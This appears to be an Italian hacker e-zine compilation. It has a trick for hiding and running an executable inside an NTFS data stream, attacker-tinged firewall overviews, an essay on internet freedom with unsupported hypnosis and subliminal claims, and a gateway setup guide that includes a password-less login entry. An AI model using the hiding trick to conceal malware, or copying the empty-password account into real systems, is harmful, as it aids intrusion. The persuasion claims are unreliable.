Voi dite : beh si fa attirib +h [pizza] però se l'opzione "Mostra tutti i file è attivata" non serve a niente...
Io rispondo: beh, se lo sapete, cosa lo dite a fare ???? :)))))

Allora ho procedete che la classica tattica di dare ai file nomi finti di sistema o fate....

Lo Streaming dei file di NTFS

SE nel sistema è installato il NTFS (NeTwork File System) possiamo usare il

seguente metodo. Prendiamo un qualunque file. Ad esempio ciao.001 (ehi non
questo, uno che esiste) . Ora creiamo uno stream(*^1) usando cp(*^2).
Procediamo :

cp cattivo.exe ciao.001:cattivo.exe

Ok fatto, se ora vogliamo estrarre il file facciamo...

cp ciao.001:cattivo.exe cattivo.exe

Una volta svolto lo stream la data di modifica di ciao.001 cambia, ma non la
sua dimensione !! :)
Per questo un file stram è difficile da trovare. Il file nascosto puo essere
eseguito senza essere estratto (NON CON CMD.EXE) ma utilizzando il commando
start

start ciao.001:cattivo.exe

*^1 = stream: meccanismo per aggiungere attributi ad un file senza
ristrotturare il file system.
*^2 = cp: è l'utilità POSIX presente nel Resource Kit di WIn.NT

I FIREWALL

Per Firewall si intende un sistema o un gruppo di sistemi il cui scopo
e' quello di filtrare il traffico tra due reti differenti, cioe'
implementare una politica di controllo degli accessi. I Firewall sono
ormai molto diffusi nelle grandi corporation e nei vari centri di
ricerca, soprattutto quelli di tipo governativo...dovunque ci sia
qualcosa di riservato state sicuri di trovare un firewall..:-)). E'
pratica molto comune utilizzare i Firewall come "vetrine" in cui
mettere materiale che debba essere reso pubblico (basti pensare alle
varie patch e upgrade resi disponibili dalle varie corporation): il
lato "positivo" di questa pratica e' data dal fatto che tutti i vari
ospiti del sistema rimangono fuori dalla rete interna vera e propria,
visto che il Firewall crea una sorta di compartimento a tenuta stagna
con il mondo esterno. Un Firewall puo' essere configurato diversamente
a seconda delle esigenze di sicurezza a cui deve fare capo: alcuni
Firewall lasciano passare in entrambi i sensi solo messaggi di posta
elettronica, altri, piu' sofisticati bloccano il traffico proveniente
dall'esterno ma non pongono nessuna limitazione a quello proveniente
dall'interno. Questi simpatici gingilli sono utili anche nel caso in
cui il sistema e' attaccato via modem; in questo caso il Firewall puo'
ricoprire il ruolo di investigatore, nel senso che se opportunamente
configuato puo' implementare delle funzioni di logging (e fin qui
nulla di speciale) e soprattutto delle funzioni di tracciamento della
chiamata, cosa abbastanza improbabile nel caso di un Firewall made in
Italy ma MOLTO piu' probabile nel caso di uno made in USA, in quanto
il sistema telefonico USA permette agevolmente di sapere il numero del
chiamante (tramite la funzione CALLER ID); in Italia questo e'
possibile solo nel caso di linee ISDN e sistemi GSM (anche se non in
maniera uniforme, ma qui svicoliamo in un altro argomento..). Un altro
aspetto da tenere in considerazione riguarda il livello di sicurezza
globale della rete "target": e' inutile acquistare un Firewall
costosissimo e poi ignorare tutte le altre possibile back-doors:
un Firewall dovrebbe rispecchiare il livello globale della rete.
Questa banale regola nella maggior parte dei casi fortunatamente non
viene presa in considerazione...:-9 Se poi esistono particolari
esigenze di riservatezza e sicurezza la prima regola da seguire
dovrebbe essere questa: NON collegarsi in Rete!!:) Sembra banale ma e'
l'unico modo per garantire una sicurezza prossima al 100%..se poi uno
accede alla rete fisicamente...beh..chiamate un fabbro e fate mettere
un paio di serrature in piu'..8-)) Fondamentalmente esistono due tipi
di Firewall:

* Network Level
* Application Level

Le differenze tra i due sono molto meno marcate di quanto si potrebbe
pensare, ed anche in termini di giudizio non e' possibile affermare in
senso assoluto "quel tipo e' meglio di quell'altro"..tutto dipende
dalle necessita' di sicurezza della rete.

Un Firewall di tipo Network Level prende le sue decisioni basandosi
sull'indirizzo sorgente, quello di destinazione e la porta di un
singolo pacchetto IP, per il resto si comporta come un router normale.
Generalmente i Firewall di questa categoria risultano molto veloci
trasparenti all'utente.

I Firewall di tipo Application Level invece, sono macchine in cui
viene fatto girare un Proxy server, la cui caratteristica piu'
evidente e' data dal fatto di non permettere il passaggio di dati
direttamente tra le due reti, ma al contrario permette a questa
operazione una serie di sofisticati controlli di tracciamento e di
logging dei pacchetti. Inizialmente questi Firewall erano abbastanza
pensantucci dal lato client, ma ora la situazione sta
cambiando. La caratteristica piu' importante di questa
tipologia di Firewall e' la possibilita' di avere dei dettagliati
report su tutto il traffico transitato attraverso esso.

Concludo questa prima parte con un'osservazione di carattere pratico
apparentemente banale; un Firewall puo' essere un ottimo aiuto ai
Sysadmin per garantire l'integrita' degli accessi alla propria rete,
ma non bisogna dimenticarsi una cosa: "lui" mette il naso e controlla
tutto quello che gli passa attraverso..ma SOLO quello..nel caso in cui
per qualche fortuito motivo dovesse esserci un'altra via di accesso,
il suo compito decade immediatamente, quindi prima di provare a fare
fesso un Firewall conviene cercare in maniera quanto piu' approfondita
possibile un'altra via di accesso.

SeE Ya!!:)

Il prossimo articolo che leggerete non riguarda uno strano metodo di
infiltrazione ne' l'ultima scoperta in campo telefonico.
Sono semplicemente alcune considerazioni del nostro Jack McKrak su tema
della liberta' in Internet.
Lo abbiamo voluto pubblicare ugualmente sebbene non sia del tutto attinente
ai temi trattati in questa rivista...sebbene la liberta' e' un po' dentro
ad ogni hacker...

Psicologia Costrittiva (Jack McKrak)

Liberta': la capacita' di poter scegliere qualcosa, senza essere
condizionati da agenti esterni...
Una definizione semplice ma ragionevole, sono libero se voglio fare qualcosa
e nessuno me lo impedisce, tranne ovviamente, quando interferisco con la

liberta' di qualcun altro...Trasportando questa definizione nel mondo di
Internet, la nostra liberta' si esprime nella possibilita' di visitare
qualsiasi sito o accedere a tutte le informazioni sparse nella rete, senza
che qualcuno mi dica cosa sia lecito vedere o ignorare...
Chiariamo subito il discorso: io non ho il diritto di usufruire di
informazioni che qualcuno immette sulla rete e che non vuole rendere
pubbliche, come dati personali o servizi offerti a pagamento... chi si
intrufola in database privati lo fa a proprio rischio e pericolo...
Ho pero' il diritto di poter ascoltare le idee e le opinioni di chiunque
abbia qualcosa da dire, senza che queste vengano filtrate o modificate; ho
anche il diritto di conoscere notizie che potrebbero essere utili a me
stesso o alla comunita', ma che vengono tenute segrete per proprio comodo...

Ogni tanto, nel mondo, c'e' qualcuno che si sveglia con la voglia di
migliorare la propria vita, a discapito di quella di qualche altra persona.
Pensiamo di essere il classico conquistatore pazzo che ha del potere e vuole
allargare il suo consenso, Internet rappresenterebbe un grosso problema:
se milioni di persone si scambiano delle idee e' difficile evitare che si
uniscano in gruppi che non la pensano come me, anzi, magari fanno cambiare
idea a quelli che avevo gia' convinto...come si puo' sfruttare la rete a
proprio comodo? Un impatto affrettato porterebbe a un approccio violento,
censurare i siti non allineati all'ideologia ed escudere le persone non
desiderate... una logica vecchia e controproducente. E' facile fermare
qualcuno quando le sue intenzioni sono chiare...oggi i sistemi per persuadere
gli altri sono molto piu' astuti e potenti, le pubblicita' ne sono un esempio
ridotto ma significativo. Esistono anche materie di studio che si occupano di
questo problema, come la Psicologia Costrittiva... in questa disciplina si
definisce "persuasione" la capacita' di fare credere ad una persona che il
proprio bene si raggiunga seguendo le istruzioni impartite; in questo modo
non si e' costretti a sceglire qualcosa contro la propria volonta', ma la
nostra liberta' ci porta sulla strada sbagliata pensando che sia quella
giusta.

Sono stati studiati gli effetti di droge e torture per potenziare
procedimenti di questo tipo (vedi lavaggio del cervello), solo per citare
i metodi piu' invasivi...infatti fra quelli piu' sottili possiamo citare i
messagi subliminali, l'effetto ipnotico dei flash (chi fa comizi a volte si
mette addosso oggetti luccicanti, tipo spille d'oro, in modo che questi
riflettano negli occhi la luce dei fari e inducano il cervello in uno stato
ipnotico), suoni a particolare frequenza che provocano un senso di "sballo"
(si dice che in alcune discoteche modificavano la musica aggiungendo questo
effetto per aumentare il rincoglionimento prodotto dalle pasticche & co.),
messaggi ripetuti in continuazione (effetto pubblicitario) e infine,
l'ultimo ritrovato : l'effetto sondaggio. Ovvero se ti dicono che il 90 %
degli italiani la pensa in un certo modo sei portato a pensare che
effettivamente quella sia l'idea migliore... nonostante non sia vero....

Concentrando il discorso su Internet, bisogna tenere anche in considerazione

il fattore "dipendenza da Software". Lo sviluppo delle interfacce
user-friendly, dove mouse e menu' a tendina sono all'ordine del giorno, sta
portando al totale annullamento delle conoscenze necessarie per utilizzare
il computer e Internet senza usufruire delle comodita' a cui siamo soliti...
la normalizzazione del software porta al completo rincoglionimento
informatico, ovvero non si e' in grado di far niente se non si usa il solito
sistema operativo, con il solito programma di interfaccia... anzi la cosa
peggiore e' che questa dipendenza dai programmi porta internet a dipendere
da chi produce questi software (i migliori amici del nostro dittatore pazzo),
che sono in grado di imporci le loro scelte senza che noi possiamo dire una
parola. In questo modo Internet non e' piu' un ostacolo, anzi, diviene la
vera incarnzaione del Grande Fratello, in grado di condizionare tutti e tutto.

Ancora la situazione e' normale, ma bisogna stare all'erta, essere
in grado di scavalcare i muri che ci troviamo davanti ed evitare che qualcuno
ci espropri delle liberta' di cui godiamo oggi... state informati, e con gli
occhi aperti.. finche' potete leggere giornali come questo c'e' sempre della
speranza....
Nell'articolo precendente abbiamo visto una panoramica generale su cosa
sia un firewall e come opera, questa volta cercheremo di vedere e capire
piu' da vicino i settaggi che possono determinare la sicurezza/insicurezza
di un firewall ed eventuali servizi aggiuntivi che un firewall puo' svolgere.
Premettendo che un firewall per essere ragionevolmente sicuro deve essere
installato su una macchina dedicata, a meno che non siano previsti servizi
tipo FTP (distribuzione aggiornamenti,listini, ecc.), come accennato la volta
scorsa, la prima cosa che un amministratore di sistema, che si appresta a
montare un firewall, deve fare e' di sospendere tutti i demoni non necessari;
questo per fare si che il sistema sia il piu' "leggero" possibile e soprattutto
per chiudere tutte le connessioni TCP provenienti da porte non necessarie.
Per fare cio' bisogna modificare il file /etc/inetd.conf; vediamo di seguito
un estratto di tale file:

```
#ident  "@(#)inetd.conf 1.22    95/07/14 SMI"   /* SVr4.0 1.5   */
#
# Configuration file for inetd(1M).  See inetd.conf(4).
#
# To re-configure the running inetd process, edit this file, then
# send the inetd process a SIGHUP.
#
# Syntax for socket-based Internet services:
# <service_name> <socket_type> <proto> <flags> <user> <server_pathname> <args>
#
# Syntax for TLI-based Internet services:
#
#  <service_name> tli <proto> <flags> <user> <server_pathname> <args>
#
# Ftp and telnet are standard Internet services.
#
```

```
ftp     stream  tcp     nowait  root    /usr/sbin/in.ftpd       in.ftpd
telnet  stream  tcp     nowait  root    /usr/sbin/in.telnetd    in.telnetd
time    stream  tcp     nowait  root    internal
```

Come si puo' notare sono elencati diversi deamon (la lista completa Š in genere composta da una ventina di deamon), che in questo caso sono tutti attivi: per eliminarli non bisogna far altro che inserire un commento (#) all'inizio della riga in cui sono definiti.
Questo file pero' per noi che siamo fuori dal sistema ha una utilit… relativa in quanto nel momento in cui riusciamo a darci una occhiata significa che siamo dentro il sistema e quindi siamo a posto!!8)
Per chi e' fuori l'unico modo di vedere quali porte sono state lasciate aperte e' di utilizare uno dei tanti Port Scanner, che una volta lanciato ci elenchera' tutte le porte disponibili, comprese quelle lasciate aperte dai vari servizi di start up e dal kernel (che non sono elencati nel file appena visto) tipo mountd, nfsd, rstatd, portmap ecc..
Un'altra cosa da verificare, e' vedere se e' stato disabilitato l'IP forwarding. Il firewall, essendo collegato a due reti, ha ovviamente due interfacce di rete, e se l'IP forwarding non e' stato disabilitato tutti i pacchetti che arrivano ad una interfaccia, e sono destinati ad una LAN diversa da quella di provenienza (che potrebbe essere anch'essa protetta dal firewall), vengono ritrasmessi a tutte le interfacce disponibili, compresa quella che comunica con il "mondo esterno", senza dover passare per il proxy, di conseguenza tutto il potenziale del firewall viene a cadere.
Ma il vero cuore del sistema e' la rule table cioe' quel file (in genere /usr/local/etc/netperm-table) dove sono inserite tutte le regole di accesso alla rete che vengono usate dai proxy dei vari servizi.
Il file in questione e' un file testo in cui in ogni riga e' presente una regola di accesso; la sintassi ed i paramentri delle varie regole sono diverse a seconda dei vari servizi e dei tipi di proxy usati, ma piu' o meno ricalcano questo schema:

```
<nome proxy> <permit/deny> hosts <xxx.xxx.xxx> -exec <path+argomenti>
```

```
<nome proxy> : identifica il servizio a cui va applicata la regola
<permit/deny> hosts <xxx.xxx.xxx> : permette o meno l'accesso ad un IP o un
                                    gruppo di IP
-exec <path+argomenti> : specifica il percorso e gli eventuali argomenti
                         del programma che gestisce il servizio (demone)
```

A questi parametri possono esserne aggiunti o eliminati alcuni a seconda del proxy utilizzato.
Concludiamo infine questa breve panoramica sui firewall ricordando che un sistema di questo tipo puo' essere usato anche come protezione contro attacchi ICMP e flood in genere; basta aggiungere delle opportune regole alla rule table; in genere e' sempre opportuno inserirle...non si sa mai..
la Rete e' piena di lamer che si divertono con poco.....

..SeE Ya..

P.S. Visto che certa gente si Š lamentata del fatto che per l'articolo del
numero precendente avevo preso spunto dalla Firewall FAQ di Marcus J. Ranum,
vorrei fare notare che, almeno che voi il vostro Know-how non lo prendiate in
pillole, da qualche parte le informazioni vanno lette e di conseguenza visto
che tale documento esponeva alcuni concetti molto bene ho ritenuto opportuno
usarlo come base del mio discorso. Sempre per la cronaca l'articolo che avete
appena letto, non ha preso spunto da niente se non dalla mia personale
esperienza.

Progetto U.S.C

Ultra Secure Computing

By Vrt__

FIREWALLS : QUELLO CHE AVRESTE SEMPRE VOLUTO SAPERE E NON AVETE MAI OSATO CHIEDERE .

0 INDICE

1) INTRODUZIONE

Questo testo servira' a chi come me si e' interessato di firewalls in quanto nella sua universita' se ne è montato uno e quindi (un pò per forza e un po' per diletto) uno si deve interessare a certe cose che gli accadono intorno :-)
Questo testo non ha uno schema preciso e sarebbe piu' un memorandum di quello che sto' facendo io in questo momento dato che ora un firewall sulla mia macchina non esiste .
Non ci interesseremo solo di come installare un firewall ma anche di come migliorare la sicurezza del nostro sito ed eventualmente dei consigli su come Improvare :-) ossia migliorare la sicurezza del proprio sito e creare (nel nostro piccolo) una vera e propria " ETICA DELLA SICUREZZA DIGITALE" cosa che in Italia in questo periodo manca e manchera' per un bel po' di tempo.

(per sfortuna o fortuna ????????????????) mah comunque....

Perdonatemi quindi le mille e mille cretinate che scrivero ' in questo testo e andiamo avanti .

2) CHE COSA E' UN FIREWALL

Noi intenderemo un firewall come una collezzione di componenti che si piazzano in mezzo a 2 reti (e noi assumeremo Internet e la nostra piccola rete) che possiedono le seguenti propieta'

A) Tutto il traffico di dati entrante ed uscente dalla rete interna e viceversa deve passare attraverso il firewall.

B) Solo il traffico autorizzato puo' passare impunemente attraverso il firewall

C) Il firewall e' immune (o almeno si spera) alle penetrazioni illegali

Non male vero? Ora passiamo ad analizzare i vari svantaggi e vantaggi ad usare una macchina (e quindi investimenti) configurata come firewall.
Una ottima ragione per montare dei firewalls e' che dedicare e concentrarsi su una macchina sola e interessarsi in buona parte della SUA sicurezza e' molto meglio che guardare tutta la sicurezza di una rete intera , magari costituita da computers di marche differenti .....quindi
dedicare una macchina SOLO a questo scopo e' ben piu' vantaggioso che usarne una general purpose e dirsi TANTO A ME NON MI SFONDANO !!! Tutta la mia attenzione dopo sarta' dedicata a curarmi della mia rete e non della sua " sicurezza" (anche se ...... mah) .
La seconda (che e' anche lo scopo di questo testo e' che comunque una persona che si occupa di firewall HA una coscienza di sicurezza ,cosa che i sistemisti di ben piu' che mezzo mondo non hanno.

3) FILOSOFIA DEI FIREWALLS

Siamo quindi ben piu' precisi ...... lo schema di un firewall e' il seguente :

```
|-------------|------    ------|------------|
|              |                  |      |
|              |    GATEWAY      |        |
|              |                     |        |
|-------------|------    ------|------------|

Rete        Filtro            Filtro       Rete
Interna                         Esterna
```

Filtro : blocca le trasmissioni di certe classi di dati
Gateway: macchina/e che provvede ai servizi per compensare l'effetto del
filtro

Generalmente si dice che la zona protetta o rete interna si chiama ZONA DEMILITARIZZATA (nota che un gateway possono essere piu' macchine e quindi essere divise in esterne od interne, le esterne sono detti BASTIONI)
Anche il piazzamento di questi firewalls e' una cosa molto importante , e' facile dire da un mondo interno ad uno esterno, ma in grosse aziende e' utile tante volte ISOLARE I DOMINI in termini di sicurezza e quindi di MODULARIZZARE a livello ingegneristico la rete di casa nostra individuando le varie aree di impiego .
Le ragioni di questo fatto sono che gli impiegati stessi possono essere abilitati o meno a certi dati .
Noi potremo quindi vederci i nostri firewalls come grossi DIODI o DIGHE che isolano i dati come piu' lo preferiamo.

Andiamo con le prime classificazioni:

Un firewall e' suddiviso come

a) Packet Filtering .
Poco costoso e facile da reperire e' semplicemente il NOSTRO ROUTER e il suo software .....(NB le aziende dovrebbero averne uno) Il nostro installatore dovra quindi per esempio avere una lista dei siti autorizzati o meno , ma non solo ...saremo in grado di definire se dal sito pippo.pluto.it vogliamo ricevere soltanto mail.
Configurare un Packet Filtering possiamo dire che e' una operazione di 3 passi

1) DECISIONI su cio' e non cio' che e' permesso .
2) definire tipi ammessi di dati in termini di operazioni logiche
3) Riscivere queste regole nel tuo sistema operativo .

esempio ....porta 25 SENDMAIL dalla rete a SOLO il tuo Gateway

```
Azione NostroHost porta lorohost porta commento
-----------------------------------------------
block     -         -    CATTIVI  -    Non li vogliamo
allow  Nostro-gw    25     -      -    connessione al SMTP
```

Pacchetti non esplicitamente espressi da una regola precedente sono bloccati automaticamente (KOOL!!!!! :-))
La filosofia di base e' questa :

QUELLO CHE NON E' ESPRESSO NON E' PERMESSO.
^^^

ancora meglio sarebbe permettere chiamate uscenti alla porta 25

action	source	port	dest	port	flags	commento
allow	Noi	-	-	25		collegamento noi-loro SMTP
allow	-	25	-	-	ACK	loro risposta

Supponiamo l'FTP

action	source	port	dest	port	flags	commento
allow	noi					per uscire
allow				ack		per risposta
allow			>1024			traffico non FTP

Supponiamo ora di filtrare sessioni X11

Dovremo sapere tutti che per x abbiamo bisogno di un server al quale x11 si connette via TCP , e che inoltre certe applicazioni devono poter essere pilotate dall' esterno.
In questo caso consigliamo di bloccare tutte le chiamate in ingresso sulle porte 6000-6100 almeno (dipende dal numero di utenti) .

b) Application level gateways

Usato in unione agli altri 2 come protezione aggiuntiva minimale per esempio nel caso dell' X11 visto sopra .....
Svantaggio / Vantaggio e' che e' molto generale e che quindi se noi useremo programmi molto particolari non serve a molto.
E' come se avesse gia' un DB di liste come le precedenti a seconda di cio' che ho lanciato nel mio sistema.

c) Circuit level Gateways

(Il migliore per chiamate in uscita) controlla solamente connessioni TCP .
Il chiamante chiama una porta del gateway con TCP che lo connette con qualche cosa all' infuori della rete . Durante la connessione il GW registra tutte le azioni commesse dal malcapitato (caso mia univ.) .Funziona come se fosse un filo . La connessione puo' essere automatica e espressa direttamente dall' utente (In questo caso il GW si chiama PROXY). Non e' necessario loggare tutto cio ' che esce ...ma basterebbe gia'il numero di bytes e la destinazione per una ottima loggatura . Greppando su un utente o su siti si scopre che cosa ha combinato il CONTROLLATO .:-)

Naturalmente potremo dire il tempo di connessione (cosa che da noi non

fanno) e una lista di utenti abilitati all' accesso dall' esterno .

4) COSA NON POSSONO FARE I FIREWALLS

Anche loro hanno delle limitazioni ...come tutti del resto .
Per esempio sono completamente indifesi agli attacchi su porta alta come puo' essere il peeking ....ma se il GW rifiuta connesioni X11 siamo a posto .
Anche una corretta manutenzione del nostro gateway e' importante ....se ce ne freghiamo della sicurezza dei nostri programmi tali che possono essere Sendmail Telnetd etc etc non montiamoci un firewall ...e' un aiuto ma non e' la soluzione ;e' un programma anch'esso come tutti gli altri e quindi baggato come tutti gli altri.
Comunque per un attacco medio della stragrande maggioranza dei Lamahs e' ben piu' che sufficiente .....

5) ed ora quel che tutti aspettavano ....
COSTRUIRSI UN APPLICATION LEVEL GATEWAY

Tratteremo l'analisi di costruzione di un Application level gateway con sicurezza ad alto livello . Nota che il seguente viene usato (teoricamente) dall' At & T .
Considereremo basilari :

1) Un computer unix (LINUX RULEZZ) :-)
2) Routers
3) software tools descritti sotto
4) demoni di network trovabili su Internet ...(solo versioni recenti)

La costruzione descritta dovrete adattarvela al vostro computer .

Assumeremo che :

- Gli utenti si sappiano tenere i dati di sistema tipo passwd e altro per loro conto senza spedirli in giro per il mondo

- Le password non saranno idiote

- Gli hacker che ci attaccano sono hacker " normali "... non dei geni !.

- I dati interni sono di media importanza.

Abbiamo 3 sottotipi corrispondenti a 3 livelli di sicurezza crescenti :

```
-------------Inside-------GW----------Router--------------INTERNET    (A)

-Inside----GW-Inside----Privatenet----GW-Outside--Router--INTERNET    (B)

-GW-Inside-----Inside-----Router------GW-Outside--Router--INTERNET    (C)
                          (choke)
```

5.1) INSTALLAZIONE INIZIALE

Iniziamo a dire che i comandi del firewall devono essere dati in maniera fisica e direttamente dalla console del GW .. un accesso fisico e' ben piu' difficile di uno da Internet per un hacker.

Durante la configurazione iniziale ha senso connettere gli host a una rete "sicura" quindi:

- Per A) e B) spegnere IP forwarding e source routing dai kernels .
  Per C) non e' un passo importante , ma si deve essere sicuri che i dati non passino attraverso il router choke

- Il kernel ha bisogno di alcune configurazioni aggiuntive.

  *e' configurato per un numero sufficente di processi? un migliaio e' OK per una rete gia' tosta.

  *eliminare eventuali assegnamenti di limite di uso CPU ai processi del GW .

  *verificare che vi siano sufficenti mbuf configurati ..dato che li useremo spesso.

- abbondare con la memoria ...32 mega e' il MINIMO.

- settare accuratamente lo spazio di SWAP .

- cancellare tutti i servizi di network , commenta /etc/inetd.conf.

- togliere TUTTI i compilatori.

- eliminare programmi con lo sticky bit non necessari o non capiti.

- eliminare accounts non voluti dalla macchina , non vi deve essere nulla se non root e passwords usuali di amministrazione .

- riavviare e netstat -a per verificare che tutti i servizi non sono piu' presenti.

- settare /etc/motd per avvertire gli utenti del log continuo e persecutorio ....motivi legali e psicologici.

- Configurare le partizioni dell ' HD ..ricordati che fuori possono leggere logs diretory di spool e ftp directory quindi tutte queste devono finire su partizioni diverse.

- connettere l'host alla rete esterna.

- aggiungere l'entrata ARP del router agli host . se il router non annuncia le sue informazioni di ARP solo i nostri 2 hosts sapranno come raggiungerlo.

- Sull' host esterno aggiungiamo il classico routing di default.

- Salva tutta la configurazione degli hosts e mettila sottochiave . considera attentamente l'idea di un backup giornaliero.

Configuriamo il Choke ossia il router il quale ha una configurazione strana in quanto abbiamo 2 hosts che lo possono usare .. Quindi :

- eliminare l'accesso di telnet dal router , se si possiede un cisco cio' vuol dire che i controlli del cisco stesso saranno svolti solo dalla console.

- eliminare accessi all ARP dal router , in particolare il router non mi deve rispondere alle richieste di ARP tipo:

```
    no service_finger
no ip redirects
    no ip route-cache
    no ip proxy-arp
    no mop enabled
    no ip unreachables
```

- istallare nella ARP degli accessi per gli hosts interni ed esterni , nota come non sia necessario un routing ...infatti lui si connette solamente con le networks locali.

- Settare un filtro di pacchetti che nega tutti gli accessi agli hosts interni .

- per sicurezza estrema bloccare anche tutti i pacchetti diretti all' indirizzo ethernet del choke .

Sembra facile vero? considerate che avete appena configurato le macchine in modo da poterle elaborare !!!!!!!
Ora infatti abbiamo bisogno di alcuni attrezzi .....

5.2) GATEWAY TOOLS

Abbiamo disponibili in rete alcuni " Tools " essenziali freeware per la costruzione del nostro gateway .
Prendiamoli in analisi :

TCP WRAPPER : Sappiamo (o almeno dovremo saperlo) che in un sistema Unix
----------- abbiamo alcuni demoni uno tra i quali Inetd e' in attesa di eventuali connessioni dall' esterno , pronto ad attivare i programmi relativi al tipo di connessione richiesta.
Quindi il nostro gateway li dovra' attentamente valutare (/etc/inetd.conf). Per esempio abbiamo che :

```
#
#Procedure interne
#

echo          stream tcp nowait root internal
dischard      stream tcp nowait root internal
chargen       stream tcp nowait root internal
daytime       stream tcp nowait root internal
time          stream tcp nowait root internal
echo          dgram  udp wait   root internal
dischard      dgram  udp wait   root internal
chargen       dgram  udp wait   root internal
daytime       dgram  udp wait   root internal
time          dgram  udp wait   root internal

#
#Servizi Reali
#

ftp    stream  tcp    nowait   /usr/sbin/ftpd  wu.ftpd
```

Abbiamo che quindi questo file e' di enorme importanza per la nostra configurazione .
Il Tcp Wrapper provvede a effettuare un controllo sulle connessioni quindi se noi modificheremo la precedente come :

ftp   stream tcp   nowait root /gatew/tcpd /usr/sbin/ftpd

il nostro wrapper controllera' in /etc/hosts.allow se accettare
la connessione .
Questo pacchetto serve quindi per determinare eventuali politiche
di connessione del nostro gateway

RELAY   : E' una applicazione propria degli Apllication-Level per loggare
-----   tutte le connessioni che il nostro computer effettua all' esterno
Supponiamo quindi di voler offrire al mondo la nostra stampante
(!!!!!) e quindi ammettere delle connessioni sulla porta 515 (
vedi sempre /etc/services) abbiamo che quindi il /etc/inetd.conf
dovrebbe essere :

printer stream tcp nowait daemon /gatew/relay tcp!pserver!printer

quindi abbiamo che pserver ,un programma che copia i bit in
entrambe le direzioni di ingresso e in uscita, abilita la
connessione .

TELNETD   : Non staro' esattamente a discquisire sul fatto che le versioni
-------   aggiornate sono da preferirsi a quelle vecchie .:-) Possiamo
inoltre far notare come piazzando un RELAY visto prima in
maniera da loggare il Telnetd e quindi vedere cosa i nostri
utenti effettivamente fanno non e' male .....ma alla mia
universita' queste cose TROPPO SEMPLICI non si fanno ....quindi
si preferisce TOGLIERE IL TELNET ....che e' piu' sicuro
(TZE!!!!!) Potremmo per esempio sostituire il comando di login
con eventuali forme piu' avanzate con le quali MAGARI ci potremmo
anche permettere di LIMITARE I LOGIN ESTERNI come tempo di Cpu
etc ....

SERVIZI FTP : Come precedentemente discusso avremo che inoltre possiamo
-----------   permetterci di usare il GW come PROXY e quindi di creare links
nuovi di zecca (e ampiamente loggabili)

5-3 INSTALLAZIONE DEI SERVIZI

L'installazione dei servizi penso che sarebbe la parte piu' noiosa e piena di
verifiche sotto verifiche etc che tutta la installazione del firewall puo'
offrirci ..ma tante' ...se deve fa' !
Nota che all 'inizio di questa fase abbiamo bisogno di TUTTI gli IP numerici

della nostra rete ...altrimenti sono cavolacci quando , se per pura sfiga , il
nostro computer cerca di fare un resolve .

MAIL : Abbiamo che naturalmente sara' il nostro GW a prendere e mandare la
---- posta .....quindi cio' significa che deve essere correttamente
configurato per sopportare qualsiasi tipo di errore.
Supponiamo che la posta viene salvata su un computer apposito
detto PIPPO configurato con tutti gli uucp che servono .
Vogliamo che quindi (SFATICATI) la posta arrivi su PIPPO attraverso
il GW .

- Configuriamo il mailer esterno se possiamo a ricevere posta sulla
  26 per esempio .

- Sul computer CHOKE

```
action  src    port   dest     port  flags  comment
--------------------------------------------------
allow  EXTERN  >1023   GW      26
allow    GW      26   EXTERN  >1023   ACK
```

che mi accetta la connessione .
Quindi aggiungeremo in /etc/inetd.conf

```
port26 stream tcp nowait daemon /gatew/tcpd /gatew/relay tcp!PIPPO!25
```

Fico vero? Non dimenticate di connettere la porta 26 in
/etc/services

Per una connessione diretta con l'esterno abbaimo che

```
action  src    port   dest     port  flags  comment
--------------------------------------------------
allow   GW    >1023  EXTERN    25
allow  EXTERN   25     GW    >1023   ACK
```

TELNET :Possiamo permettere a degli utenti autorizzati fuori dal sistema di
------ effetturare connessioni dentro il sistema magari con login sonoio :-)
Il relay connette l'utente con il programma di autenticazione di
PIPPO e se il login e' OK l'utente puo' fare un rlogin dove vuole.

Quindi :

- mettiamo sonoio nel passwd

```
sonoio::500:501: LOGIN ESTERNA:/gatew/usr/sonoio:/gatew/sonoio.sh
```

- il demone di telnetd

telnetd stream tcp nowait root /gatew/tcpd /usr/sbin/telnetd

- vediamo ora /gatew/sonoio.sh

```
#!/bin/sh
/gatew/relay tcp!PIPPO!666
```

- e relative connessioni per il choke

```
action  src    port   dest    port  flags  comment
--------------------------------------------------
allow   GW    >1023  EXTERN    666
   allow  EXTERN   666    GW    >1023   ACK
```

- il servizio in PIPPO

port666 stream tcp nowait root /gatew/sonoio sonoio

- aggiungere porta in /etc/services

PROXY   : installazione :

- in PIPPO per EXTERN . Useremo la porta per es 402 qui di la dovremo aggiungere in /etc/services e /etc7inetd.conf

- sempre il choke (uff...)

```
   action  src    port   dest    port  flags  comment
--------------------------------------------------
allow   GW    >1023  EXTERN    402
   allow  EXTERN   402    GW    >1023   ACK
```

- in EXTERN

proxy stream tcp nowait daemon /gatew/tcpd /gatew/proxy

-sempre in EXTERN aggiungi la 402 in /etc/services

Considero sempre una installazione minima ..altri servizi a piacimento sono comunque sulla stessa linea.

5-4 X11

Per questo sevizio che comunque e' sempre molto pericoloso in quanto consente di controllare in modo remoto il video , mouse , tastiera etc , abbiamo una serie di pacchetti che comunque non sono di difficile reperibilita' tipo :

xp11 - xgate : Per esempio :connetto il server X11 che risiede sulla 6000 + un
numero random e trasmetto il risultato al mio xp11 il quale genera
un X11 $DISPLAY per quella porta .
Se mi giunge una richiesta questa e' compito della xgate che crea
un socket random anche in questo caso e informa internamente xp11
di cio' . Se l'utente e' autorizzato (configurazione xgate) si
crea il collegamento.

5-5 E CHI PROTEGGE IL GATEWAY?

Abbiamo che un largo uso di servizi sono gia' protetti dal tcp wrapper stesso,
ma servizi richiesti per esempio da localhost o 127.0.0.1 possono essere
comunque disabilitati mettendosi cosi' se' stessi nella lista di un possibile
nemico .
Abbiamo possibili attacchi sulla nostra syslog , e quindi noi potremmo
controllare il demone e uploadarlo sovente .

Anche il choke e' un elemento vulnerabile del nostro sistema. quindi dovremo
disabilitare tutte le chiamate a questo computer ....quindi :

action	src	port	dest	port	flags	comment
block	127.0.0.1					no loopback
block				514		no syslog
block			choke			no choke
block	PIPPO					no pacchetti a pippo
allow						tutto il resto OK

6 AMMINISTRAZIONE DEL GATEWAY

Prendiamo atto che anche il nostro mitico gateway e' una macchina e quindi
avra' bisogno di manutenzione ....quindi let's start..:

6-1 Logs : i log creati dal GW possono crearci una serie di problemi in quanto
-------- se la nostra rete e' massiccia essi diverranno di proporzioni esagerate
... mediamente 20 30 mega al giorno !!! Quindi da cui il problema
di prendere solo le informazioni necessarie e fondamentali .

